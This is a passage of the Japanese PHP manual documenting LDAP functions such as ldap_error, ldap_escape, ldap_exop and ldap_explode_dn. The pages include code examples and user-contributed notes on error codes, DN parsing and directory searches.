LDAP_SORT_CONTROL_MISSING       0x3C    /* 60 */
LDAP_INDEX_RANGE_ERROR          0x3D    /* 61 */

LDAP_NAMING_VIOLATION           0x40
LDAP_OBJECT_CLASS_VIOLATION     0x41
LDAP_NOT_ALLOWED_ON_NONLEAF     0x42
LDAP_NOT_ALLOWED_ON_RDN         0x43
LDAP_ALREADY_EXISTS             0x44    /* 68 */
LDAP_NO_OBJECT_CLASS_MODS       0x45
LDAP_RESULTS_TOO_LARGE          0x46
// Next two for LDAPv3
LDAP_AFFECTS_MULTIPLE_DSAS      0x47
LDAP_OTHER                      0x50

// Used by some APIs
LDAP_SERVER_DOWN                0x51
LDAP_LOCAL_ERROR                0x52
LDAP_ENCODING_ERROR             0x53
LDAP_DECODING_ERROR             0x54
LDAP_TIMEOUT                    0x55
LDAP_AUTH_UNKNOWN               0x56
LDAP_FILTER_ERROR               0x57    /* 87 */
LDAP_USER_CANCELLED             0x58
LDAP_PARAM_ERROR                0x59
LDAP_NO_MEMORY                  0x5a

// Preliminary LDAPv3 codes
LDAP_CONNECT_ERROR              0x5b
LDAP_NOT_SUPPORTED              0x5c
LDAP_CONTROL_NOT_FOUND  0x5d
LDAP_NO_RESULTS_RETURNED        0x5e
LDAP_MORE_RESULTS_TO_RETURN     0x5f
LDAP_CLIENT_LOOP        0x60
LDAP_REFERRAL_LIMIT_EXCEEDED    0x61
ahall at mirapoint dot com 30-Jul-2001 07:16
Couple of good error codes to get started.  If you want to detect failure of ldap_add due to the record already existing, ldap_error == 0x44.  This means, you can do something like:

$r = ldap_add($ds, $dn, $info);
if (!$r) {
    if (ldap_errno($ds) == 0x44) {
         // Do something about it
    } else {
         // A real failure
    }
}

Similarly, on ldap_delete, you will get a 0x20 value (No Such Object) if you try to delete something that isn't there.


直近の LDAP コマンドの LDAP エラーメッセージを返す

  • ≪ ldap_errno
  • ldap_escape ≫
  • PHP Manual
  • LDAP 関数
  • 直近の LDAP コマンドの LDAP エラーメッセージを返す

ldap_error

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_error — 直近の LDAP コマンドの LDAP エラーメッセージを返す

説明

ldap_error ( resource $ldap ) : string

指定した ldap に関して、 直近の LDAP コマンドにより生成されたエラーを表すエラーメッセージ文字列を返します。 LDAP errno 番号は標準化されていますが、ライブラリによって異なる （あるいはローカライズされた）エラーメッセージを返します。 エラーメッセージの内容をチェックするのではなく、 必ずエラー番号をチェックするようにしてください。

php.ini で警告レベルを十分に下げるか、 警告出力を抑制するために LDAP コマンドの前に @ 文字をつけない限り、発生したエラーは HTML 出力にも表示されます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

返り値

エラーメッセージ文字列を返します。

参考

  • ldap_err2str() - LDAP のエラー番号をエラーメッセージ文字列に変換する
  • ldap_errno() - 直近の LDAP コマンドの LDAP エラー番号を返す

User Contributed Notes

Michael Newton 18-Nov-2017 12:23
Note that you can sometimes get more detailed error messages by getting the value of the LDAP_OPT_DIAGNOSTIC_MESSAGE option.

For example, after a recent connection error the two gave very different info:

<?php
$conn = ldap_connect($server);
ldap_search($conn, $dn, $query);

echo "ldap_error: " . ldap_error($conn);
ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $err);
echo "ldap_get_option: $err";
?>

This resulted in:

  ldap_error: Can't contact LDAP server
  ldap_get_option: TLS: hostname does not match CN in peer certificate
edA-qa at disemia dot com 28-Jul-2008 06:43
For those wondering, this function appears to do the same thing as:
<?php
ldap_err2str( ldap_errno() );
?>


LDAP フィルタまたは DN で使われる文字列をエスケープする

  • ≪ ldap_error
  • ldap_exop_passwd ≫
  • PHP Manual
  • LDAP 関数
  • LDAP フィルタまたは DN で使われる文字列をエスケープする

ldap_escape

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ldap_escape — LDAP フィルタまたは DN で使われる文字列をエスケープする

説明

ldap_escape ( string $value , string $ignore = "" , int $flags = 0 ) : string

flags で指示されたコンテキストで使う value をエスケープします。

パラメータ

value

エスケープする値

ignore

エスケープする際に無視する文字

flags

エスケープされた文字列が使われるコンテクスト: LDAP_ESCAPE_FILTER は、 ldap_search(), で使われるフィルタ。 LDAP_ESCAPE_DN は DN の場合に使います。 フラグが渡されなかった場合、全ての文字がエスケープされます。

返り値

エスケープされた値を返します。

例

LDAP フィルタを組み立てる際、 LDAP_ESCAPE_FILTER を指定して ldap_escape を使うべきです。

例1 Eメールアドレスを検索する

<?php
// $ds is a valid link identifier for a directory server

// $mail is an email address provided by the user in a form

$base   = "o=My Company, c=US";
$filter = "(mail=".ldap_escape($mail, "", LDAP_ESCAPE_FILTER).")";

$sr = ldap_search($ds, $base, $filter, array("sn", "givenname", "mail"));

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." entries returned\n";
?>

User Contributed Notes

support at extollit dot com 24-Feb-2020 06:44
Suppose you want to reverse the operation, here is a way to "ldap_unescape"

<?php

function ldap_unescape($string) {
    return
        preg_replace_callback(
            "/\\\\[\da-z]{2}/",
            function ($matches) {
                $match = array_shift($matches);
                return hex2bin(substr($match, 1));
            },
            $string
        );
}

$result = ldap_unescape("uid=\\61\\6c\\70\\68\\6f\\6e\\7a\\6f,ou=people,dc=foo,dc=com"); // uid=alphonzo,ou=people,dc=foo,dc=com

?>
martin dot keckeis1 at gmail dot com 09-Oct-2015 08:48
You can use it like this for filtering

<?php
$badSearchInput = 'Domain\username';

$escapedSearchInput = ldap_escape($badSearchInput, null, LDAP_ESCAPE_FILTER);
?>


PASSWD 拡張オペレーションのヘルパ

  • ≪ ldap_escape
  • ldap_exop_refresh ≫
  • PHP Manual
  • LDAP 関数
  • PASSWD 拡張オペレーションのヘルパ

ldap_exop_passwd

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop_passwd — PASSWD 拡張オペレーションのヘルパ

説明

ldap_exop_passwd ( resource $ldap , string $user = "" , string $old_password = "" , string $new_password = "" , array &$controls = null ) : string|bool

PASSWD 拡張オペレーションを実行します。

パラメータ

ldap

ldap_connect() で返された、LDAP リンク識別子。

user

パスワードを変更するユーザーの dn

old_password

このユーザーの古いパスワード。 サーバの設定によっては省略可能です。

new_password

このユーザーの新しいパスワード。 生成されたパスワードがある場合は、空にするか省略できます。

controls

指定された場合は、パスワードポリシーをリクエストするコントロールがリクエストと一緒に送信されます。 その場合、この値は リクエストと一緒に送信する LDAP コントロール の配列 で埋められます。

返り値

new_password が空だったり省略されたりした場合は、 生成されたパスワードが返されます。 そうでなければ、成功時に true 、失敗時に false が返ります。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

例

例1 PASSWD 拡張オペレーション

<?php
$ds = ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $bind = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");
    if (!$bind) {
      echo "Unable to bind to LDAP server";
      exit;
    }

    // use PASSWD EXOP to change the user password for a generated one
    $genpw = ldap_exop_passwd($ds, "cn=root, o=My Company, c=US", "secret");
    if ($genpw) {
      // use the generated password to bind
      $bind = ldap_bind($ds, "cn=root, o=My Company, c=US", $genpw);
    }

    // set the password back to "secret"
    ldap_exop_passwd($ds, "cn=root, o=My Company, c=US", $genpw, "secret");

    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>

参考

  • ldap_exop() - 拡張されたオペレーションを実行する
  • ldap_parse_exop() - LDAP拡張オペレーションの結果オブジェクトをパースする

User Contributed Notes

dumm at tutoerilio dot gnu 20-Aug-2018 02:27
Schnaberhagi summberlio rumbasuuna gumpperlimuss!


Refresh 拡張操作のヘルパ

  • ≪ ldap_exop_passwd
  • ldap_exop_whoami ≫
  • PHP Manual
  • LDAP 関数
  • Refresh 拡張操作のヘルパ

ldap_exop_refresh

(PHP 7 >= 7.3.0, PHP 8)

ldap_exop_refresh — Refresh 拡張操作のヘルパ

説明

ldap_exop_refresh ( resource $ldap , string $dn , int $ttl ) : int|false

Refresh 拡張オペレーションを実行し、結果を返します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

リフレッシュするエンティティの識別名。

ttl

自動的に削除される前にエントリがディレクトリに存在する時間を秒単位 (1 から 31557600 の間)で指定します。

返り値

RFC から: responseTtl フィールドは、そのエントリのttlとしてサーバが選んだ時間です。 この値は、クライアントがリクエストした値よりも小さい値であってはいけませんが、 大きいのは構いません。 しかし、サーバが比較的正確にディレクトリを維持できるようにするために、 かつクライアントが動的な拡張を悪用できないようにするために、 サーバはクライアントがリクエストした ttl の値を 86400秒 (1日) まで短くすることを許可されています。 エラー時には false が返されます。

参考

  • ldap_exop() - 拡張されたオペレーションを実行する

User Contributed Notes

Roland Gruber 16-Jul-2018 03:48
The following workaround can be used to run the refresh command in PHP 7.2.

$dn= 'cn=user,dc=test,dc=org';
$ttl = 3600;
$data = '';
$data .= '80' . sprintf("%'.02x", strlen($dn)) . bin2hex($dn);
$data .= '81' . sprintf("%'.02x", 4) . sprintf("%'.08x", $ttl);
$data = hex2bin('30' . sprintf("%'.02x", strlen($data)/2) . $data);
$success = ldap_exop($ldapHandle, LDAP_EXOP_REFRESH, $data);


WHOAMI 拡張オペレーションのヘルパ

  • ≪ ldap_exop_refresh
  • ldap_exop ≫
  • PHP Manual
  • LDAP 関数
  • WHOAMI 拡張オペレーションのヘルパ

ldap_exop_whoami

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop_whoami — WHOAMI 拡張オペレーションのヘルパ

説明

ldap_exop_whoami ( resource $ldap ) : string|false

WHOAMI 拡張オペレーションを実行し、データを返します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

返り値

サーバが返したデータを返します。エラー時には false を返します。

参考

  • ldap_exop() - 拡張されたオペレーションを実行する

User Contributed Notes

There are no user contributed notes for this page.


拡張されたオペレーションを実行する

  • ≪ ldap_exop_whoami
  • ldap_explode_dn ≫
  • PHP Manual
  • LDAP 関数
  • 拡張されたオペレーションを実行する

ldap_exop

(PHP 7 >= 7.2.0, PHP 8)

ldap_exop — 拡張されたオペレーションを実行する

説明

ldap_exop ( resource $link , string $reqoid , string $reqdata = null , array $serverctrls = null , string &$retdata = ? , string &$retoid = ? ) : mixed

指定された link で オペレーションの OID を reqoid で指定し、 データを reqdata で指定して拡張されたオペレーションを実行します。

パラメータ

link

ldap_connect() で返された、LDAP リンク識別子。

reqoid

拡張オペレーションリクエストのOID。 LDAP_EXOP_START_TLS, LDAP_EXOP_MODIFY_PASSWD, LDAP_EXOP_REFRESH, LDAP_EXOP_WHO_AM_I, LDAP_EXOP_TURN のいずれか、 または送信したい操作のOIDを示す文字列。

reqdata

拡張オペレーションリクエストのデータ。 LDAP_EXOP_WHO_AM_I のように、 操作によってはNULLで問題ない場合もありますし、 BERエンコードが必要な場合もあります。

serverctrls

リクエストと一緒に送信する LDAP コントロール の配列

retdata

この値を指定すると、拡張オペレーションレスポンスの値で埋められます。 指定しなかった場合に後でこのデータを取得するには、 結果オブジェクトに対して ldap_parse_exop を使います。

retoid

この値を指定すると、レスポンスのOIDで埋められます。 これは通常、リクエストのOIDと等しい値です。

返り値

retdata を指定した場合、成功時に true を返し、エラー時に false を返します。 retdata を指定しなかった場合、結果識別子を返し、 エラー時に false を返します。

変更履歴

バージョン | 説明
7.3 | serverctrls のサポートが追加されました。

例

例1 Whoami 拡張オペレーション

<?php
$ds = ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $bind = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");
    if (!$bind) {
      echo "Unable to bind to LDAP server";
      exit;
    }

    // Call WHOAMI EXOP
    $r = ldap_exop($ds, LDAP_EXOP_WHO_AM_I);

    // Parse the result object
    ldap_parse_exop($ds, $r, $retdata);
    // Output: string(31) "dn:cn=root, o=My Company, c=US"
    var_dump($retdata);

    // Same thing using $retdata parameter
    $success = ldap_exop($ds, LDAP_EXOP_WHO_AM_I, NULL, NULL, $retdata, $retoid);
    if ($success) {
      var_dump($retdata);
    }

    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>

参考

  • ldap_parse_result() - 結果から情報を展開する
  • ldap_parse_exop() - LDAP拡張オペレーションの結果オブジェクトをパースする
  • ldap_exop_whoami() - WHOAMI 拡張オペレーションのヘルパ
  • ldap_exop_refresh() - Refresh 拡張操作のヘルパ
  • ldap_exop_passwd() - PASSWD 拡張オペレーションのヘルパ

User Contributed Notes

Roland Gruber 16-Jul-2018 03:50
The following can be used to run the refresh command in PHP 7.2 as ldap_exop_refresh comes with 7.3.

$dn= 'cn=user,dc=test,dc=org';
$ttl = 3600;
$data = '';
$data .= '80' . sprintf("%'.02x", strlen($dn)) . bin2hex($dn);
$data .= '81' . sprintf("%'.02x", 4) . sprintf("%'.08x", $ttl);
$data = hex2bin('30' . sprintf("%'.02x", strlen($data)/2) . $data);
$success = ldap_exop($ldapHandle, LDAP_EXOP_REFRESH, $data);


DN を構成要素ごとに分割する

  • ≪ ldap_exop
  • ldap_first_attribute ≫
  • PHP Manual
  • LDAP 関数
  • DN を構成要素ごとに分割する

ldap_explode_dn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_explode_dn — DN を構成要素ごとに分割する

説明

ldap_explode_dn ( string $dn , int $with_attrib ) : array|false

ldap_get_dn() により返された DN を分割し、 複数の要素に分けます。各部分は、相対区分名 (Relative Distinguished Name または RDN) と呼ばれます。

パラメータ

dn

LDAP エンティティの識別名。

with_attrib

RDN が値のみを返すのか、 あるいは、属性を同時に返すのかを指定するために使用します。 属性を有する RDN (属性=値 フォーマットで) を得るためには with_attrib を 0 とし、 値のみを得るためには 1 に設定します。

返り値

すべての DN 要素を配列で返します。失敗した場合に false を返します。 この配列の最初の要素のキーは count で、 これは返される値の数を表します。次の要素は、DN の数値添字配列となります。

User Contributed Notes

emepese 22-Oct-2017 03:25
Probably not the best way but for those who are looking for a way to get de CN of a DN without the "cn=" part this is a function with a regex pattern:

<?php
    function getCNofDN($dn) {
        $return=preg_match('/[^cn=]([^,]*)/i',$dn,$dn);
        return($dn[0]);
    }

  echo getCNofDN("cn=emepese,cn=someLevel,dc=someCompany");

// Will print "emepese"

?>
eero at eero dot info 14-Jun-2017 07:54
I was converting LDAP related code to PHP7 which doesn't support /e modifier with preg_replace anymore, but instead you should use preg_replace_callback. This might help someone working on the same thing:

<?php

$value = 'Universitat';

# < PHP7 compatible code
echo preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);

# >= PHP7 compatible code
echo preg_replace_callback('/\\\([0-9A-Fa-f]{2})/', function ($matches) { return chr(hexdec($matches[1])); }, $value);
hello+php at NOSPAM dot renoirboulanger dot com 20-Jul-2012 07:20
I came accros this page and enjoyed the comments.

Since a LDAP string can sometimes be lengthy and have many attributes, I needed to be able to sort through all that is in.

In my case, I needed to get the subdomain part and other parameters.

Here is how I built my method.
<?php
    /**
     * Parse, and format a DN string to Array
     *
     * Read a LDAP DN, and return an array keys
     * listing all similar attributes.
     *
     * Also takes care of the character escape and unescape
     *
     * Example:
     * CN=username,OU=UNITNAME,OU=Region,OU=Country,DC=subdomain,DC=domain,DC=com
     *
     * Would normally return:
     * Array (
     *     [count] => 9
     *     [0] => CN=username
     *     [1] => OU=UNITNAME
     *     [2] => OU=Region
     *     [5] => OU=Country
     *     [6] => DC=subdomain
     *     [7] => DC=domain
     *     [8] => DC=com
     * )
     *
     * Returns instead a manageable array:
     * array (
     *     [CN] => array( username )
     *     [OU] => array( UNITNAME, Region, Country )
     *     [DC] => array ( subdomain, domain, com )
     * )
     *
     *
     * @author gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27 (part of the character replacement)
     * @author Renoir Boulanger
     *
     * @param  string $dn          The DN
     * @return array
     */
    function parseLdapDn($dn)
    {
        $parsr=ldap_explode_dn($dn, 0);
        //$parsr[] = 'EE=Some Krazi string';
        //$parsr[] = 'AndBogusOne';
        $out = array();
        foreach($parsr as $key=>$value){
            if(FALSE !== strstr($value, '=')){
                list($prefix,$data) = explode("=",$value);
                $data=preg_replace("/\\\\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\\\1')).''", $data);
                if(isset($current_prefix) && $prefix == $current_prefix){
                    $out[$prefix][] = $data;
                } else {
                    $current_prefix = $prefix;
                    $out[$prefix][] = $data;
                }
            }
        }
        return $out;
    }
?>
DavidSmith at byu dot net 15-Sep-2003 09:06
[ Editor's Note: The segfault has been fixed and will not occur in PHP 4.3.4 or PHP 5.0.0 when they are released.  However, it is still important to escape special characters as detailed below. ]

If your DN contains < or > characters, you must escape them with a backslash or ldap_explode_dn() will give you a "wrong parameter count" error or even a segmentation fault.

For example, these calls will fail with a "wrong parameter count" or a seg fault:

  ldap_explode_dn( "cn=<bob>,dc=example,dc=com", 0 );
  ldap_explode_dn( 'cn=<bob>,dc=example,dc=com', 0 );

But this will succeed

  ldap_explode_dn( "cn=\<bob\>,dc=example,dc=com", 0 );

Notice also that the < and > are escaped with hex codes as noted above. This function is a nice wrapper that properly formats all DNs and can safely be called with < and > characters, and UTF-8 characters:

function my_explode_dn( $dn, $with_attributes=0 )
{
        $dn = addcslashes( $dn, "<>" );
        $result = ldap_explode_dn( $dn, $with_attributes );
        //translate hex code into ascii again
        foreach( $result as $key => $value )
                $result[$key] = preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
        return $result;
}

I am using php 4.3.1. Good luck!
gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27
Keep attention on UTF8 encoded DNs. Since openLDAP >=2.1.2
ldap_explode_dn turns unprintable chars (in the ASCII sense, UTF8
encoded) into \<hexcode>.

Example:

$dn="ou=Universitat ,c=DE";
var_dump(ldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(19) "ou=Universit\C3\A4t"
  [1]=>
  string(4) "c=DE"
}

Unfortunately, PHP don't support the ldap functions ldap_str2dn and
ldap_dn2str, but by means of preg_replace a workaround is possible to
recover the old behaviour of ldap_explode_dn

// workaround
function myldap_explode_dn($dn,$with_attribute){

$result=ldap_explode_dn ($dn, $with_attrib);
 //translate hex code into ascii again
    foreach($result as $key=>$value){
          $result[$key]=preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
    }
    return($result);

}
//
//then follows for the example

$dn="ou=Universitat ,c=DE";
var_dump(myldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(15) "ou=Universitat"
  [1]=>
  string(4) "c=DE"
}
bs at muekno dot de 23-Oct-2001 04:02
Copying is much better than typing!!!!
Just modify the constants.
Best wishes (and thanX 4 this helpfull site),
Bernd Schwaegerl
Mueller-Knoche GmbH, Systemhaus fuer EDV-Loesungen

# Example:

$HOST = "Yourhostname";
$USER_DN = "Yourldapuser_dn";
$PWD = "Ldapuserpassword";
$BASE_DN = "o=Your_organisation";
$SEARCH_OBJECT="sn=YOUR_SEARCH_PERSON_OBJECTS_SN";

$ldap_handle=ldap_connect($HOST);
$bind_result=ldap_bind($ldap_handle,$USER_DN,$PWD);

$search_result=ldap_search($ldap_handle,$BASE_DN,$SEARCH_OBJECT);
$result=ldap_get_entries($ldap_handle,$search_result);
$result_array=ldap_get_entries($ldap_handle,$result);
$whole_dn=$result_array[0]["dn"];

$dn_parts=ldap_explode_dn($whole_dn,0);


最初の属性を返す

  • ≪ ldap_explode_dn
  • ldap_first_entry ≫
  • PHP Manual
  • LDAP 関数
  • 最初の属性を返す

ldap_first_attribute

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_first_attribute — 最初の属性を返す

説明

ldap_first_attribute ( resource $ldap , resource $entry ) : string|false

指定したエントリの最初の属性を取得します。残りの属性は、 ldap_next_attribute() を逐次コールして取得します。

エントリの読み込みと同様、 エントリからの属性の読み込みもひとつづつ行われます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

entry

ber_identifier

ber_identifier は内部メモリにおける位置ポインタの ID です。この ID は 参照渡しされます。同じ ber_identifier が ldap_next_attribute() 関数に渡された場合、 そのポインタは修正されます。

注意:

このパラメータは使用されなくなりました。現在は PHP が自動的にこれを処理します。 後方互換性を保持するため、もしこのパラメータが渡されても PHP はエラーを発生させません。

返り値

成功した場合にエントリの最初の属性、エラーの場合に false を返します。

参考

  • ldap_next_attribute() - 結果における次の属性を得る
  • ldap_get_attributes() - 検索結果エントリから属性を得る

User Contributed Notes

There are no user contributed notes for this page.


最初の結果 ID を返す

  • ≪ ldap_first_attribute
  • ldap_first_reference ≫
  • PHP Manual
  • LDAP 関数
  • 最初の結果 ID を返す

ldap_first_entry

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_first_entry — 最初の結果 ID を返す

説明

ldap_first_entry ( resource $ldap , resource $result ) : resource|false

結果内の最初のエントリのエントリ ID を返します。このエントリ ID を ldap_next_entry() に渡し、 結果からそれ以降のエントリを取得します。

LDAP 結果におけるエントリは、ldap_first_entry() および ldap_next_entry() 関数を用いて連続的に 読み込まれます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

result

返り値

成功時に最初のエントリに関する結果エントリ ID、エラーの場合に false を返します。

参考

  • ldap_get_entries() - 全ての結果エントリを得る

User Contributed Notes

There are no user contributed notes for this page.


最初のリファレンスを返す

  • ≪ ldap_first_entry
  • ldap_free_result ≫
  • PHP Manual
  • LDAP 関数
  • 最初のリファレンスを返す

ldap_first_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_first_reference — 最初のリファレンスを返す

説明

ldap_first_reference ( resource $ldap , resource $result ) : resource|false
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

sami at sipponen dot com 16-Nov-2004 03:56
Hopefully the code below help you to loop through references with LDAP3 servers. It took me a significant amount of time to figure out how this thing works and now I have successfully used this with Active Directory to loop through severial subdomains.

Special thanks to Stig Venaas who helped me to get started. (the original problem was that ldap_parse_reference function was missing in Windows builds. At least it will now work with Windows PHP versions 5.1.0-DEV and higher after I made a bug report)

function crawlRefs($user, $passw, $host, $dn, $port, $filter) {

  //Create the basic connection for fetching referrals
  $adConn = ldap_connect($host, $port) or die("System couldn't connect!");
  ldap_set_option($adConn, LDAP_OPT_PROTOCOL_VERSION, 3) or die ("System couldn't make first protocol option setting!");
  ldap_set_option($adConn, LDAP_OPT_REFERRALS, 0) or die ("System couldn't make second protocol option setting!");
  $bd = ldap_bind($adConn, $user, $passw) or die ("System couldn't bind the connection!");
  $search = ldap_search($adConn, $dn, $filter);

  //Find referrals
  $ref = ldap_first_reference($adConn, $search);
  while ($ref) {
    if (ldap_parse_reference($adConn, $ref, $referrals)) {
      while ($referral = array_shift($referrals)) {
        echo $referral . "<br>\n";
      }
    }
  $ref = ldap_next_reference($adConn, $ref);
}


結果メモリを開放する

  • ≪ ldap_first_reference
  • ldap_get_attributes ≫
  • PHP Manual
  • LDAP 関数
  • 結果メモリを開放する

ldap_free_result

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_free_result — 結果メモリを開放する

説明

ldap_free_result ( resource $ldap ) : bool

内部での結果保持用に割り当てられていたメモリを開放します。 結果メモリは、スクリプトの終了時に自動的に開放されます。

通常、LDAP の結果用に確保された全てのメモリはスクリプトの実行終了時 に開放されます。連続的な検索を行うスクリプトのように大きな 結果セットを返す場合、スクリプトにより使用される実行用メモリを 小さく保つために ldap_free_result() をコールすることが可能です。

パラメータ

ldap

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


検索結果エントリから属性を得る

  • ≪ ldap_free_result
  • ldap_get_dn ≫
  • PHP Manual
  • LDAP 関数
  • 検索結果エントリから属性を得る

ldap_get_attributes

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_attributes — 検索結果エントリから属性を得る

説明

ldap_get_attributes ( resource $ldap , resource $entry ) : array

検索結果エントリから属性と値を読み込みます。

ディレクトリに特定のエントリを置いている場合、この関数をコールする ことにより、そのエントリに関して保持されている情報得ることができます。 ディレクトリエントリを "ブラウズ" するか、ディレクトリエントリの 構造が未知であるアプリケーションにおいてこの関数を使用します。 多くのアプリケーションにおいては、電子メールアドレスや姓のような 特定の属性を検索するため、保持されている他のデータにどんなものがあるか ということは問題にならないと思われます。

return_value["count"] = そのエントリの属性の数
return_value[0] = 最初の属性
return_value[n] = n 番目の属性

return_value["attribute"]["count"] = その属性に関する値の数
return_value["attribute"][0] = その属性に関する最初の値
return_value["attribute"][i] = その属性に関する (i+1) 番目の値

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

entry

返り値

成功時に完全なエントリ情報を多次元配列で返します。エラーの場合、 false を返します。

例

例1 特定のディレクトリエントリに関して保持されている属性のリストを表示

<?php
// $ds はディレクトリのリンク ID

// $sr は事前の LDAP のディレクトリ検索コールの有効な結果

$entry = ldap_first_entry($ds, $sr);

$attrs = ldap_get_attributes($ds, $entry);

echo $attrs["count"] . " attributes held for this entry:<p>";

for ($i=0; $i < $attrs["count"]; $i++) {
    echo $attrs[$i] . "<br />";
}
?>

参考

  • ldap_first_attribute() - 最初の属性を返す
  • ldap_next_attribute() - 結果における次の属性を得る

User Contributed Notes

dunc at rumbletum dot org 18-Oct-2007 02:52
I spent quite a while scratching my head about how to read operational attributes such as create and modify timestamps.

This function solved it....

function get_entry_system_attrs( $ds, $dn, $deref=LDAP_DEREF_NEVER )
{
   $conn = $ds;
   $attrs = array( 'creatorsname', 'createtimestamp', 'modifiersname',
         'structuralObjectClass', 'entryUUID',  'modifytimestamp',
         'subschemaSubentry', 'hasSubordinates', '+' );
   $search = @ldap_read( $conn, $dn, '(objectClass=*)', $attrs, 0, 0, 0, $deref );
   if( ! $search )
      return false;
   $entry = ldap_first_entry( $conn, $search );
   if( ! $entry)
       return false;
   $attrs = ldap_get_attributes( $conn, $entry );
   if( ! $attrs )
      return false;
   if( ! isset( $attrs['count'] ) )
      return false;
   $count = $attrs['count'];
   unset( $attrs['count'] );
   $return_attrs = array();
   for( $i=0; $i<$count; $i++ ) {
      $attr_name = $attrs[$i];
      unset( $attrs[$attr_name]['count'] );
      $return_attrs[$attr_name] = $attrs[$attr_name];
   }
   return $return_attrs;
}
Snezko Snezak 27-Jul-2006 01:06
Code and function to extract all attributes from all entryes in a certain DN. Maybe not the most timewise efficient but it works.

$entry = ldap_first_entry($ds, $sr);
write_attr($entry,$ds);
for ($i = 0; $i < $n_entries; $i++){
   $entry = ldap_next_entry($ds, $entry);
   write_attr($entry,$ds);
}

function write_attr($entry,$ds){
   $attrs = ldap_get_attributes ($ds, $entry);
   for ($j = 0; $j < $attrs["count"]; $j++){
      $attr_name = $attrs[$j];
      $attrs["$attr_name"]["count"] . "\n";
      for ($k = 0; $k < $attrs["$attr_name"]["count"]; $k++) {
             echo ">>>>>>";
             echo $attr_name.": ".$attrs["$attr_name"][$k]."\n";
      }
   }
}
php dot net at hiddemann dot org 02-Jul-2004 10:59
Note that ldap_get_attributes fetches attributes AND values from the LDAP server. Depending on the data stored in the entry, the following code might work a dozen times faster (or even better, but faster in general) than the code in Example 1:

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = array();
$attribute = ldap_first_attribute($ds,$entry,$identifier);
while ($attribute) {
   $attrs[] = $attribute;
   $attribute=ldap_next_attribute($ds,$entry,$identifier);
}

echo count($attrs) . " attributes held for this entry:<p>";

for ($i=0; $i<count($attrs); $i++) {
   echo $attrs[$i] . "<br />";
}
?>

You may want to check the time difference with the function "microtime".
kop at meme dot com 29-Jul-2003 11:28
It's good practice to use array_change_key_case() on the result of ldap_get_attributes() so your program can ignore case in attribute names just like ldap itself does.  (You wouldn't want ldap_get_attributes to _always_ flatten the case because you need a way to get the attribute names in a pretty format for display to the user.)
allie at pajunas dot com 20-May-2002 08:52
The array created by this function is similar to the on from ldap_get_entries() but when it creates array keys it alters the attribute's case inconsistently.

ldap_get_entries() lowercases all of the attributes before keying the array with them, but this function appears to leave things as they are.

If you're having problems, do a print_r and make sure you're using correct case for array keys.  For example, you might need to use "objectClass" and not "objectclass".
software at inebria dot com 21-Jun-2001 10:31
As of PHP 4.0.5, the ldap_get_attributes function does not work with binary data.  If you're fetching a JPEG from an LDAP server, use ldap_get_values_len instead.


結果エントリから DN を得る

  • ≪ ldap_get_attributes
  • ldap_get_entries ≫
  • PHP Manual
  • LDAP 関数
  • 結果エントリから DN を得る

ldap_get_dn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_dn — 結果エントリから DN を得る

説明

ldap_get_dn ( resource $ldap , resource $entry ) : string|false

結果における、あるエントリの DN を見つけます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

entry

返り値

結果エントリの DN を返します。エラーの場合、falseを返します。

User Contributed Notes

radulescuiuliamaria at yahoo dot com 29-Sep-2015 08:50
How to get the DN for a given samaccountname:

/*the connecting part*/
$ldap_conn = ldap_connect($hostname, $port);
$bind = ldap_bind($ldap_conn, $username, $password);
/*the connecting part*/

$samaccountname = john.doe;

$filter="(samaccountname=$samaccountname)";
$dn="OU=PEOPLE, DC=example, DC=com"; //even if it seems obvious I note here that the dn is just an example, you'll have to provide an OU and DC of your own

$res = ldap_search($ldap_conn, $dn, $filter);
$first = ldap_first_entry($ldap_conn, $res);
$data = ldap_get_dn($ldap_conn, $first);

echo "The desired DN is: ".$data;


全ての結果エントリを得る

  • ≪ ldap_get_dn
  • ldap_get_option ≫
  • PHP Manual
  • LDAP 関数
